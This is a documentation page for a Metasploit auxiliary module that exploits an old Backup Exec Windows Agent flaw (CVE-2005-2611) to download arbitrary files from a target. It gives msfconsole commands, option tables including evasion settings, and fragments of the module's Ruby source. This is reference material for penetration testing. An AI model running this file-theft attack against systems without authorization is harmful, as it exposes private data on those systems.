Veritas Backup Exec Windows Remote File Access - Metasploit
This page contains detailed information about how to use the auxiliary/admin/backupexec/dump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Veritas Backup Exec Windows Remote File Access
Module: auxiliary/admin/backupexec/dump
Source code: modules/auxiliary/admin/backupexec/dump.rb
Disclosure date: -
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 10000
List of CVEs: CVE-2005-2611
This module abuses a logic flaw in the Backup Exec Windows Agent to download arbitrary files from the system. This flaw was found by someone who wishes to remain anonymous and affects all known versions of the Backup Exec Windows Agent. The output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program listed in the references section. To transfer an entire directory, specify a path that includes a trailing backslash.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/backupexec/dump
msf auxiliary(dump) > show targets
... a list of targets ...
msf auxiliary(dump) > set TARGET target-id
msf auxiliary(dump) > show options
... show and set options ...
msf auxiliary(dump) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the admin/backupexec/dump auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/backupexec/dump
msf6 auxiliary(admin/backupexec/dump) > show info
Name: Veritas Backup Exec Windows Remote File Access
Module: auxiliary/admin/backupexec/dump
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
hdm <[email protected]>
Unknown
Available actions:
Name Description
---- -----------
Download Download arbitrary file
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST no The local IP address to accept the data connection
LPATH backupexec_dump.mtf yes The local filename to store the exported data
LPORT no The local port to accept the data connection
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPATH C:\Windows\win.ini yes The remote filesystem path to download
RPORT 10000 yes The target port (TCP)
Description:
This module abuses a logic flaw in the Backup Exec Windows Agent to
download arbitrary files from the system. This flaw was found by
someone who wishes to remain anonymous and affects all known
versions of the Backup Exec Windows Agent. The output file is in
'MTF' format, which can be extracted by the 'NTKBUp' program listed
in the references section. To transfer an entire directory, specify
a path that includes a trailing backslash.
References:
https://nvd.nist.gov/vuln/detail/CVE-2005-2611
OSVDB (18695)
http://www.securityfocus.com/bid/14551
http://www.fpns.net/willy/msbksrc.lzh
Module Options
This is a complete list of options available in the admin/backupexec/dump auxiliary module:
msf6 auxiliary(admin/backupexec/dump) > show options
Module options (auxiliary/admin/backupexec/dump):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST no The local IP address to accept the data connection
LPATH backupexec_dump.mtf yes The local filename to store the exported data
LPORT no The local port to accept the data connection
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPATH C:\Windows\win.ini yes The remote filesystem path to download
RPORT 10000 yes The target port (TCP)
Auxiliary action:
Name Description
---- -----------
Download Download arbitrary file
Advanced Options
Here is a complete list of advanced options supported by the admin/backupexec/dump auxiliary module:
msf6 auxiliary(admin/backupexec/dump) > show advanced
Module advanced options (auxiliary/admin/backupexec/dump):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/backupexec/dump module can do:
msf6 auxiliary(admin/backupexec/dump) > show actions
Auxiliary actions:
Name Description
---- -----------
Download Download arbitrary file
Evasion Options
Here is the full list of possible evasion options supported by the admin/backupexec/dump auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/backupexec/dump) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Did not receive a response from the agent
- Did not receive a response to our authentication request
- Did not receive a response to our data connection request
- Did not receive a response to our parameters request
- Did not receive a response to our backup request
- Did not receive a response to our environment request
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Did not receive a response from the agent
Here is a relevant code snippet related to the "Did not receive a response from the agent" error message:
71: lfd = File.open(datastore['LPATH'], 'wb')
72:
73: connect
74: data = ndmp_recv()
75: if (not data)
76: print_error("Did not receive a response from the agent")
77: disconnect
78: return
79: end
80:
81: username = "root"
Did not receive a response to our authentication request
Here is a relevant code snippet related to the "Did not receive a response to our authentication request" error message:
99:
100: print_status("Sending magic authentication request...")
101: ndmp_send(auth)
102: data = ndmp_recv()
103: if (not data)
104: print_error("Did not receive a response to our authentication request")
105: disconnect
106: return
107: end
108:
109:
Did not receive a response to our data connection request
Here is a relevant code snippet related to the "Did not receive a response to our data connection request" error message:
135:
136: print_status("Sending data connection request...")
137: ndmp_send(conn)
138: data = ndmp_recv()
139: if (not data)
140: print_error("Did not receive a response to our data connection request")
141: sfd.close
142: disconnect
143: return
144: end
145:
Did not receive a response to our parameters request
Here is a relevant code snippet related to the "Did not receive a response to our parameters request" error message:
166:
167: print_status("Sending transfer parameters...")
168: ndmp_send(msrs)
169: data = ndmp_recv()
170: if (not data)
171: print_error("Did not receive a response to our parameters request")
172: disconnect
173: return
174: end
175:
176: #
Did not receive a response to our backup request
Here is a relevant code snippet related to the "Did not receive a response to our backup request" error message:
219:
220: print_status("Sending backup request...")
221: ndmp_send(bkup)
222: data = ndmp_recv()
223: if (not data)
224: print_error("Did not receive a response to our backup request")
225: disconnect
226: return
227: end
228:
229: #
Did not receive a response to our environment request
Here is a relevant code snippet related to the "Did not receive a response to our environment request" error message:
240:
241: print_status("Sending environment request...")
242: ndmp_send(genv)
243: data = ndmp_recv()
244: if (not data)
245: print_error("Did not receive a response to our environment request")
246: disconnect
247: return
248: end
249:
250: #
Go back to menu.
Related Pull Requests
- #14815 Merged Pull Request: replace ::Rex::Socket.gethostbyname with Socket.getaddrinfo
- #13443 Merged Pull Request: Add descriptions to auxiliary modules Actions
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8336 Merged Pull Request: Specify lhost by interface name
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3751 Merged Pull Request: [SeeRM 8836] Change boot.ini to win.ini
- #2525 Merged Pull Request: Change module boilerplate
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
References
- CVE-2005-2611
- OSVDB (18695)
- BID-14551
- http://www.fpns.net/willy/msbksrc.lzh
See Also
Check also the following modules related to this module:
- auxiliary/admin/backupexec/registry
- exploit/windows/backupexec/name_service
- exploit/windows/backupexec/remote_agent
- exploit/windows/backupexec/ssl_uaf
- exploit/windows/browser/symantec_backupexec_pvcalendar
- auxiliary/admin/http/scadabr_credential_dump
- auxiliary/admin/http/telpho10_credential_dump
- auxiliary/admin/misc/sercomm_dump_config
- auxiliary/admin/vxworks/wdbrpc_memory_dump
- auxiliary/gather/ldap_hashdump
- auxiliary/gather/windows_secrets_dump
- auxiliary/scanner/http/binom3_login_config_pass_dump
- auxiliary/scanner/http/epmp1000_dump_config
- auxiliary/scanner/http/epmp1000_dump_hashes
- auxiliary/scanner/http/frontpage_credential_dump
- auxiliary/scanner/http/ms15_034_http_sys_memory_dump
- auxiliary/scanner/ipmi/ipmi_dumphashes
- auxiliary/scanner/mssql/mssql_hashdump
- auxiliary/scanner/mssql/mssql_schemadump
- auxiliary/scanner/mysql/mysql_authbypass_hashdump
- auxiliary/scanner/mysql/mysql_hashdump
- auxiliary/scanner/mysql/mysql_schemadump
- auxiliary/scanner/oracle/oracle_hashdump
- auxiliary/scanner/postgres/postgres_hashdump
- auxiliary/scanner/postgres/postgres_schemadump
- auxiliary/scanner/smb/impacket/secretsdump
- auxiliary/sqli/openemr/openemr_sqli_dump
- post/linux/gather/gnome_keyring_dump
- post/linux/gather/vcenter_secrets_dump
- post/windows/gather/avast_memory_dump
- post/windows/gather/credentials/thycotic_secretserver_dump
- post/windows/gather/dnscache_dump
- post/windows/gather/dumplinks
- post/windows/gather/memory_dump
Authors
- hdm
- Unknown
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.